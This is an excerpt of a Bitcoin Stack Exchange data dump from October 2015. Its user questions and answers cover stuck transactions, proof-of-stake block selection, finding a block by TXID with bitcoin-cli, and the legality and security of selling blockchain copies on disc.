  <row Id="40835" PostTypeId="1" AcceptedAnswerId="40864" CreationDate="2015-10-11T09:31:39.010" Score="0" ViewCount="238" Body="&lt;p&gt;I have a problem with my address &lt;strong&gt;1Dss5sKJDZ1Kkhh3KRyoekeZpC4S1WehD&lt;/strong&gt;. As you can see, I transferred money to the same address by mistake - without any fee. The transaction &lt;strong&gt;fcd06b91d4572dca5b36f3f634694db036f80c2f27c079797f7379ad348a8f00&lt;/strong&gt; is now unconfirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Later, it was possible to create the transaction &lt;strong&gt;8218e7821939421302084e6ae9d64960f1e11f03cd2f1e1c3c98a2079416dee2&lt;/strong&gt;, but this also do not get confirmed - but even there is a fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, I cannot create any another transaction - why? The other transactions are unconfirmed and not in the blockchain. I try to broadcast the new transaction in raw format to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do now? Just wait?&lt;/p&gt;&#xA;" OwnerUserId="26347" LastActivityDate="2015-10-13T03:00:54.163" Title="Bitcoins stuck - No double spend possible" Tags="|doublespend|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40837" PostTypeId="1" CreationDate="2015-10-11T11:15:21.860" Score="0" ViewCount="2635" Body="&lt;p&gt;I'm still new to all this, but would like to know how to make a clone of bitcoin, including required files and sources.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="29830" LastActivityDate="2015-10-11T14:43:11.923" Title="How to create a bitcoin clone?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="2" ClosedDate="2015-10-11T19:06:45.727" ContentLicense="CC BY-SA 3.0" />
  <row Id="40838" PostTypeId="1" CreationDate="2015-10-11T12:12:29.407" Score="1" ViewCount="140" Body="&lt;p&gt;My father accidentally sent a bitcoin payment to his Bitcoin-Qt application's &quot;sending address&quot;. Are the bitcoins lost? or is it possible to recover them somehow? When checking on blockchain.info, the funds are visible but I have no idea how to recover them into the Bitcoin-Qt wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it would be visible after his Bitcoin-Qt wallet synchronized but no luck. When referring to &quot;sending address&quot;, when you go to sending address in the Bitcoin-Qt client it has one address (you can have multiple) but this was the address he sent the funds to. Unfortunately the bitcoins did not come back to his wallet. This was done 2 days ago. If I look up the same address on blockchain, the exact amount is just sitting there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a suggestion? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="29827" LastEditorUserId="-1" LastEditDate="2015-10-12T08:44:36.497" LastActivityDate="2019-12-22T00:58:31.460" Title="bitcoin payment accidentally sent to Bitcoin-Qt application's sending address" Tags="|bitcoin-core|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40839" PostTypeId="2" ParentId="40838" CreationDate="2015-10-11T13:01:34.093" Score="1" Body="&lt;p&gt;There is no difference between sending and receiving addresses. If the address is his, the payment will become visible once his Bitcoin-Qt has synchronized with the network. (Unless with &quot;sending address&quot; you mean an address held by someone else that sent money to him.)&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-10-11T13:21:13.920" LastActivityDate="2015-10-11T13:21:13.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40841" PostTypeId="2" ParentId="40837" CreationDate="2015-10-11T14:43:11.923" Score="1" Body="&lt;p&gt;Register at github, go to &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin&lt;/a&gt; and press &quot;fork&quot;&lt;/p&gt;&#xA;" OwnerUserId="28129" LastActivityDate="2015-10-11T14:43:11.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40842" PostTypeId="1" CreationDate="2015-10-11T15:43:31.013" Score="3" ViewCount="1319" Body="&lt;p&gt;I'm trying to get the senders address using the Bitcoin JSON RPC in C#. So I GetRawTransaction and then use the DecodeRawTransaction method to return my JSON object. I can see in the 'vout' of this the receiver addresses but I cannot see the sender addresses in the 'vin'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help? I may have phrased the question poorly so please ask if you need any more informations. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="29834" LastActivityDate="2015-10-30T22:57:55.663" Title="Sender address from DecodeRawTransaction (C#)" Tags="|c#|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40843" PostTypeId="1" AcceptedAnswerId="42954" CreationDate="2015-10-11T16:41:12.587" Score="3" ViewCount="406" Body="&lt;p&gt;When a message has been signed off, it is propagated to the entire network. I would like to know how long does it take &quot;on average&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two types of messages, private messages and broadcast messages.&#xA;Private messages are encrypted with receiver's public key.&#xA;Broadcast messages are encrypted with sender's public key.&#xA;Having said that, there are few reasons for message propagation delay in the network, following are my assumptions.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In the private key's case: once the message is signed off and broadcasted, every node tries to decrypt the content with his own public key, but fails.&#xA;Do nodes forwards the message only after trying to decrypt or promptly after receiving it? Because this definitely causes message propagation delay.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it the same for the broadcasted messages, i.e. do nodes forward the message only after failing to decrypt it or promptly after receiving it?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Does the message size matter for decryption and propagation? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Network latency delay is regardless of the message size.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;The diameter of the network is out of the question as well. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Does anyone keeping track of Bitmessage statistics similar to the Bitcoin's?&#xA;I tried to access &lt;a href=&quot;http://bitmessage.adammelton.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitmessage.adammelton.com/&lt;/a&gt; but fail to do so, does it work for you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Sorry this question might look a little bit irrelevant in the bitcoin's stackexchange, however we consider that Bitmessage is a Bitcoin without a blockchain and the most of techniques were inherited from the Bitcoin. In addition I believe that many developers follow both Bitcoin and Bitmessage. Therefore dear all, please do not remove this question :) Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="13358" LastActivityDate="2016-02-17T23:14:46.857" Title="How long does it take to propagate a new broadcasted message in the Bitmessage?" Tags="|message|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40844" PostTypeId="1" CreationDate="2015-10-11T18:24:30.583" Score="0" ViewCount="314" Body="&lt;p&gt;I want to publish the book under a pseudonym, or better yet, anonymously! I had been looking into Amazon Kindle Direct Publishing. I’d also like to use an anonymous e-mail address. Would it be possible to get paid in Bitcoin when I publish my book there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to get paid in Bitcoin/Litecoin only (possibly some other cryprocurrencies too, but I really don’t want centralized payments). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there’s no way to do this, please tell me about any other alternatives for self publishing and/or advertising!&lt;/p&gt;&#xA;" OwnerUserId="19484" LastEditorUserId="5406" LastEditDate="2015-12-24T11:50:58.113" LastActivityDate="2023-09-08T12:33:43.297" Title="Can I anonymously self-publish books on Amazon and get paid in Bitcoin?" Tags="|litecoin|payment|privacy|tor|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40845" PostTypeId="1" CreationDate="2015-10-11T18:51:28.990" Score="0" ViewCount="308" Body="&lt;p&gt;I've configured the bitcoin.conf and web.config file in visual studio to match, and I keep getting the above exception, also getting this when I run it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'No connection could be made because the target machine actively refused it'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only thing I currently have commented out which may be the culprit is;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'add key=&quot;Bitcoin_WalletPassword&quot; value=&quot;&quot;'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as I'm not sure where to set the corresponding value in bitcoin-qt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="29834" LastActivityDate="2015-10-11T18:51:28.990" Title="bitcoinlib 'There was a problem sending the request to the wallet'" Tags="|c#|bitcoin-qt-setup|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="40846" PostTypeId="1" CreationDate="2015-10-12T01:54:27.030" Score="2" ViewCount="334" Body="&lt;p&gt;I sent a couple bitcoin from one of my trezor wallets to a different trezor wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know the details about how bitcoin &quot;sending&quot; between wallets work, and now I feel the need to confirm that it all went smoothly. Essentially, I'd like to see confirmation that all my bitcoin transfered to to my new wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the receiving address of the new wallet, (the one thats supposed to be holding the bitcoin now), is: 1HyETxKBZshfu2cdjEWMYntDFabFXsrHe2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me out here? How do I check to see if everything went over to the new wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="29843" LastActivityDate="2016-06-09T12:29:56.650" Title="I Want To Confirm That My Bitcoins Are Being Held In New Wallet" Tags="|transaction-verification|trezor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40847" PostTypeId="2" ParentId="40486" CreationDate="2015-10-12T04:29:06.893" Score="3" Body="&lt;p&gt;Presently, you cannot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://bitnodes.21.co/&quot; rel=&quot;nofollow&quot;&gt;BitNodes&lt;/a&gt;, as of this writing there are over 5000 full nodes on the network, all of them providing this service for free.  This certainly seems to be sufficient for everyone who wants to use it.  So nobody is going to pay you money for a service they can have for free.  The effective market value of your services is zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible that someday, as the cost of running a full node rises, there may not be enough people running free full nodes to satisfy the demand.  In that case, the market value of this service may increase above zero, and you might be able to get people to pay to use your node.  Note that if this happens, you'll probably also have to pay other nodes for the privilege of sharing their data with your customers, and getting them to help distribute data from your customers.  But at this point, this is pure speculation.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-10-12T04:29:06.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40848" PostTypeId="1" AcceptedAnswerId="40852" CreationDate="2015-10-12T05:03:51.147" Score="3" ViewCount="282" Body="&lt;p&gt;In Proof-of-Work, a block hash is costly to manipulate (say, wanting the hash to be even, or have the hash of the hash smaller than some number) since there is a lot of computing power put into selecting the right header to produce a valid hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering - are the block hashes in the various Proof-of-Stake implementations easier to manipulate since the hashes aren't bound by PoW mining? Could a PoS miner spend some computational time to generate many valid blocks and pick one to use, or are there some other constrains preventing block hash fudging?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="18196" LastEditDate="2016-03-06T19:14:45.190" LastActivityDate="2016-03-06T19:14:45.190" Title="In Proof-of-Stake, can a block creator fudge the block hash?" Tags="|block|hash|proof-of-work|proof-of-stake|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40849" PostTypeId="1" AcceptedAnswerId="40851" CreationDate="2015-10-12T05:07:51.073" Score="9" ViewCount="680" Body="&lt;p&gt;In Proof-of-Work, there are no rules on who will mine the next block - the selection is random and proportional to miners' computing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is the next miner selected in various Proof-of-Stake block creation algorithms? Can the same miner / address / person be chosen to create multiple blocks in a row, or are there some mechanisms preventing this from happening?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="18196" LastEditDate="2016-03-06T19:13:40.800" LastActivityDate="2016-03-06T19:13:40.800" Title="In Proof-of-Stake, can the same miner mine a block multiple times in a row?" Tags="|mining-theory|proof-of-stake|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40850" PostTypeId="1" AcceptedAnswerId="41097" CreationDate="2015-10-12T05:24:08.307" Score="1" ViewCount="308" Body="&lt;p&gt;How smart property works on basic bitcoin blockchain? I am not sure that how to make token, that is tied with a particular object, on the bitcoin blockchain. I've already know I can use such kind of token if I use colored coin or master coin.&#xA;I've read the following link, but I couldn't understand how it works.&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Smart_Property&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Smart_Property&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24693" LastActivityDate="2015-11-27T20:06:17.043" Title="How smart property works on basic bitcoin blockchain?" Tags="|blockchain|colored-coins|smartcontracts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40851" PostTypeId="2" ParentId="40849" CreationDate="2015-10-12T07:06:58.803" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can the same miner / address / person be chosen to create multiple blocks in a row&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, a single entity can mine multiple blocks in a row with no ill effect.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;are there some mechanisms preventing [multiple blocks in a row from one entity] from happening?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://en.wikipedia.org/wiki/Sybil_attack&quot; rel=&quot;nofollow&quot;&gt;sybil problem&lt;/a&gt; makes this fundamentally impossible; if there was a way to stop a person from pretending to be multiple entities at once, proof of stake and proof of work would not need to exist in the first place. In a naive attempt at this if you prevent a specific key from signing two blocks in a row, then the user would simple split their money into multiple keys.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How is the next miner selected in various Proof-of-Stake block creation algorithms? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In some implementations of proof of stake the selection is simply based on the previous block hash as a random oracle. ECDSA signatures can have a practically indefinite amount of permutations which allows a user in the network to simply sign repeatedly until the next &quot;random&quot; selection is also them, amplifying their income or ability to warp the network. This is commonly known as stake grinding. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In an attempt to fix this other implementations use either a block hash from a long time ago, or the hash of some period of blocks in the past. The intention of this is that an attacker would supposedly need to control all of the blocks in that period (or be extraordinarily lucky) in order to be able to re-sign and jump ahead with their new control. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's other selection methods in existence but the enormous number of implementations make it extremely hard to research for this question, however they are likely variations on the same concept in some way. There's some more discussion of the general problems of proof of stake available for digestion in &lt;a href=&quot;https://download.wpsoftware.net/bitcoin/pos.pdf&quot; rel=&quot;nofollow&quot;&gt;pos.pdf&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-10-12T14:30:59.123" LastActivityDate="2015-10-12T14:30:59.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40852" PostTypeId="2" ParentId="40848" CreationDate="2015-10-12T07:18:58.970" Score="3" Body="&lt;p&gt;Absolutely. ECDSA signatures at not unique, they can always be permuted by the signer at will by re-signing with a new nonce. The creator of the block can also choose to reorder or omit transactions to alter the block and then re-sign this to get a new block hash. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-10-12T07:27:27.697" LastActivityDate="2015-10-12T07:27:27.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40855" PostTypeId="2" ParentId="40846" CreationDate="2015-10-12T10:11:34.620" Score="2" Body="&lt;p&gt;You can check on 3rd-party pages whether they have knowledge of your transaction: E.g. &lt;a href=&quot;https://blockexplorer.com&quot; rel=&quot;nofollow&quot;&gt;Blockexplorer&lt;/a&gt; shows that address &lt;a href=&quot;https://blockexplorer.com/address/1HyETxKBZshfu2cdjEWMYntDFabFXsrHe2&quot; rel=&quot;nofollow&quot;&gt;1HyETxKBZshfu2cdjEWMYntDFabFXsrHe2&lt;/a&gt; received just short of 35 BTC last week. If that's the amount you sent, you were successful.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-10-12T10:11:34.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40856" PostTypeId="1" AcceptedAnswerId="40857" CreationDate="2015-10-12T13:33:51.743" Score="7" ViewCount="829" Body="&lt;p&gt;Is it ethical / legal / at all possible to burn a copy of the Bitcoin (or any cryptocurrency) blockchain to a disc, and then sell the disc? Would there be any additional issues if we included a copy of the client (and associated source code)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is to make it easy for people to get started using Bitcoin without having to download 6 or more years' worth of blockchain data. The content would essentially be the Bitcoin data directory (minus the wallet.dat of course), and, if possible, the client. Users could insert the disc, install the client, and have the entire blockchain as of the date the disc was published.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this legal under the terms of the MIT license? Is there another license covering the blockchain data itself? &lt;strong&gt;Would anyone actually be interested in something like this?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking that perhaps something like this could be published annually, with the profits going to support the Bitcoin developers.&lt;/p&gt;&#xA;" OwnerUserId="29856" LastEditorUserId="29856" LastEditDate="2015-10-12T17:08:17.800" LastActivityDate="2017-07-09T01:34:47.800" Title="Selling copies of blockchain database on disc" Tags="|blockchain|legal|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40857" PostTypeId="2" ParentId="40856" CreationDate="2015-10-12T15:23:58.220" Score="6" Body="&lt;h2&gt;It's legal&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Core is released under &lt;a href=&quot;http://opensource.org/licenses/MIT&quot; rel=&quot;nofollow&quot;&gt;The MIT License&lt;/a&gt;. Accordingly, the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/COPYING&quot; rel=&quot;nofollow&quot;&gt;Bitcoin repository informs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Permission is hereby granted, [...] including without limitation the rights&#xA;  to use, copy, modify, merge, publish, distribute, sublicense, and/or &lt;strong&gt;sell&#xA;  copies of the Software&lt;/strong&gt; [...] [emphasis added]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, it's explicitly legal for the software. I'd surmise the Bitcoin blockchain to be common knowledge, as there are no distinguished authors, owners, or restrictions of access.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Annually is too long&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'd expect that you'd want to publish it in shorter intervals than annually, as catching up half a year of blockchain still takes quite some time, especially since the traffic is growing over time. This year the blockchain doubled in size!  On the other hand, producing disks on-demand instead seems manageable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you'd certainly find it challenging to find a CD that can store the whole blockchain; you would need to send a Blu-ray or USB stick instead. ;)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Market?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There might be a market for such a service in regions where internet bandwidth is exceptionally expensive. Else interest is likely covered by similar offers in download format, such as the donation based offer at &lt;a href=&quot;http://en.blockchaindownload.nl/&quot; rel=&quot;nofollow&quot;&gt;http://en.blockchaindownload.nl/&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have see ethical issues with your approach, you would be offering a service, you might as well try to reclaim your costs.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Security of buying the pig in the poke&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I would recommend building your own database from scratch (i.e. via -reindex), if you plan to rely for a business on the data. Also then you should check that the software is unchanged, i.e. download your own copy from a trusted repository. Anyway, you would likely be chosing a full-client then to have the security of your own trusted node, making you unlikely to be interested in this offer in the first place anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, for a private user just wanting to save time/bandwidth until reaching a synchronized blockchain, I find attack scenarios rather contrived. While in fact being vulnerable to being forked from the mainchain, and made to accept an invalid transaction, this would require someone to tamper with both software and database, and require further effort to connect your client to your business information, to spoonfeed you targeted transactions, perhaps even a forked blockchain. A scenario where this nets an attacker money seems pretty farfetched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, it would be a bad idea if 1) the recipient doesn't understand the trade-off, 2) a large portion of the network were bootstrapped thusly, and therefore might not be the kind of service that should be offered in great scale.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-10-13T15:45:51.030" LastActivityDate="2015-10-13T15:45:51.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40858" PostTypeId="2" ParentId="40856" CreationDate="2015-10-12T15:28:37.433" Score="8" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Is this legal under the terms of the GPL?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Bitcoin Core is distributed under the MIT license which explicitly allows this.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The content would essentially be the Bitcoin data directory (minus the wallet.dat of course), and, if possible, the client. Users could insert the CD, install the client, and have the entire blockchain as of the date the CD was published.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is not recommended. Beyond modifications to the software (which can be caught with signatures) distributing a raw synchronized database is very vulnerable to tampering. The unspent outputs database can be silently modified to include non-existing outputs which the user would be likely to discover until it is too late. With knowledge of the people running a corrupted database an attacker can fork those users off the network very at their leisure, or if they accept zero confirmation transactions the victim can be directly defrauded at nearly no cost.&lt;/p&gt;&#xA;&lt;p&gt;When a &lt;code&gt;bootstrap.dat&lt;/code&gt; was distributed as a faster way for users to sync with the network it was always completely verified to avoid this type of attack.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Users could insert the CD, install the client, and have the entire blockchain as of the date the CD was published.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;From a feasibility perspective this would actually be 60 CDs, or 7 DVDs at the time of writing.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-10-13T10:42:18.313" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40859" PostTypeId="1" CreationDate="2015-10-12T16:22:02.693" Score="1" ViewCount="501" Body="&lt;p&gt;Is it possible to buy stocks online with bitcoin.. the stocks listed on  NYSE, NASDAQ and London Stock Exchange among others ?&lt;/p&gt;&#xA;" OwnerUserId="29861" LastActivityDate="2015-10-12T19:23:41.030" Title="Buying stocks or bonds with bitcoin" Tags="|mining-pool-shares|stocks|bitshares|" AnswerCount="1" CommentCount="0" ClosedDate="2015-10-14T13:27:01.837" ContentLicense="CC BY-SA 3.0" />
  <row Id="40861" PostTypeId="2" ParentId="40859" CreationDate="2015-10-12T19:23:41.030" Score="2" Body="&lt;p&gt;Not that I'm aware of, in terms of dealing with traditional publicly-facing companies on the exchanges you mention. There were a number of attempts to create new, bitcoin-only exchanges for privately held companies, but few have gotten much traction. This reddit comment goes into great detail about the history of private stock exchanges in bitcoin, which might provide useful context:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/Bitcoin/comments/3jh9t5/are_there_any_private_stock_exchanges_that_deal/cuphn6y&quot; rel=&quot;nofollow&quot;&gt;https://www.reddit.com/r/Bitcoin/comments/3jh9t5/are_there_any_private_stock_exchanges_that_deal/cuphn6y&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Also this previous SX Bitcoin thread might answer your question:&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/22875/can-i-buy-stocks-with-bitcoin&quot;&gt;Can I buy stocks with Bitcoin?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26887" LastActivityDate="2015-10-12T19:23:41.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40862" PostTypeId="1" CreationDate="2015-10-12T21:47:11.143" Score="0" ViewCount="304" Body="&lt;p&gt;I had this idea to create a new cryptocurrency that uses rendering as mining, using it to create a decentralized render farm. is it possible, and if yes, then how? Sorry the question is not in depth. I'll edit this as I go along. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="29868" LastActivityDate="2015-10-13T10:15:59.323" Title="Is it plausible to make a decentralized rendering farm by creating a new cryptocurrency?" Tags="|development|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40864" PostTypeId="2" ParentId="40835" CreationDate="2015-10-13T03:00:54.163" Score="2" Body="&lt;p&gt;Yes, waiting is the right thing to do, and pretty much the only thing you can do. Because your transaction is valid, it is likely to be incorporated into a block, even though it doesn't have a fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to Blockchain.info, &lt;a href=&quot;https://blockchain.info/tx/fcd06b91d4572dca5b36f3f634694db036f80c2f27c079797f7379ad348a8f00&quot; rel=&quot;nofollow&quot;&gt;your transaction&lt;/a&gt; was successfully mined into a block 21 hours after you first submitted it. Because of this, you can now go and spend this transaction... which you already have, by the time I wrote this answer.&lt;/p&gt;&#xA;" OwnerUserId="23340" LastActivityDate="2015-10-13T03:00:54.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40865" PostTypeId="1" CreationDate="2015-10-13T05:34:35.963" Score="3" ViewCount="8489" Body="&lt;p&gt;The following bitcoin addresses are involved in FRAUD...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[snip]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I report bitcoin scammers?&lt;/p&gt;&#xA;" OwnerUserId="29872" LastEditorUserId="5292" LastEditDate="2015-10-13T08:10:59.307" LastActivityDate="2022-01-15T13:57:54.070" Title="Where can I report bitcoin scammers?" Tags="|fraud|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40866" PostTypeId="2" ParentId="40865" CreationDate="2015-10-13T08:26:57.870" Score="8" Body="&lt;p&gt;In general bitcoin means: &quot;if you don't own the keys, you don't own the coins&quot; (for example web wallets or exchanges) and &quot;if you hand over the keys (have them stolen) or sign a transaction to the wrong destination (buy a cheap iPhone from Nigeria) then you just learned a lesson the hard way&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, Bitcoin does offer some unique protection methods like multisignature and wallet backups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the situation and the kind of fraud, you might be able to contact your local law enforcement or FBI or equivalent.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-10-13T08:26:57.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40867" PostTypeId="1" AcceptedAnswerId="40868" CreationDate="2015-10-13T09:55:37.040" Score="4" ViewCount="1948" Body="&lt;p&gt;I'm using bitcoin-cli. I have a TXID, and I'd like to find which block it is in. Either the block hash or block count would be fine. What's the best way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using &lt;em&gt;gettransaction &amp;lt; txid&gt;&lt;/em&gt; and going from there, but I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error: {&quot;code&quot;:-5,&quot;message&quot;:&quot;Invalid or non-wallet transaction id&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24926" LastActivityDate="2015-10-13T14:35:45.507" Title="bitcoind: How to find the block from a TXID?" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40868" PostTypeId="2" ParentId="40867" CreationDate="2015-10-13T10:07:20.323" Score="7" Body="&lt;p&gt;Bitcoin Core doesn't maintain an index of transactions which are not relevant to you by default to save space and processing time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to run your node with &lt;code&gt;txindex=1&lt;/code&gt; in the configuration in order to create one, and changing the option on an existing node requires you do do a &lt;code&gt;bitcoind -reindex&lt;/code&gt;. A reindex is equivalent to doing a full network sync again but will use all of the block files you already have on disk for the process. When this is complete you will be able to look up arbitrary TXID using the &lt;code&gt;getrawtransaction&lt;/code&gt; RPC (&lt;code&gt;gettransaction&lt;/code&gt; only applies to transactions in your wallet). &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli getrawtransaction 74cffe12b2d58ac2e2bc13de5519428639267e2faffb85bbbfec60d8be7cdb50 1&#xA;&#xA;{&#xA;  .....&#xA;  &quot;blockhash&quot;: &quot;0000000000000000027d382ef7c586e0e97f623e685c9f927e78865420f72b5f&quot;,&#xA;  &quot;confirmations&quot;: 2,&#xA;  &quot;time&quot;: 1444654960,&#xA;  &quot;blocktime&quot;: 1444654960&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-10-13T14:35:45.507" LastActivityDate="2015-10-13T14:35:45.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
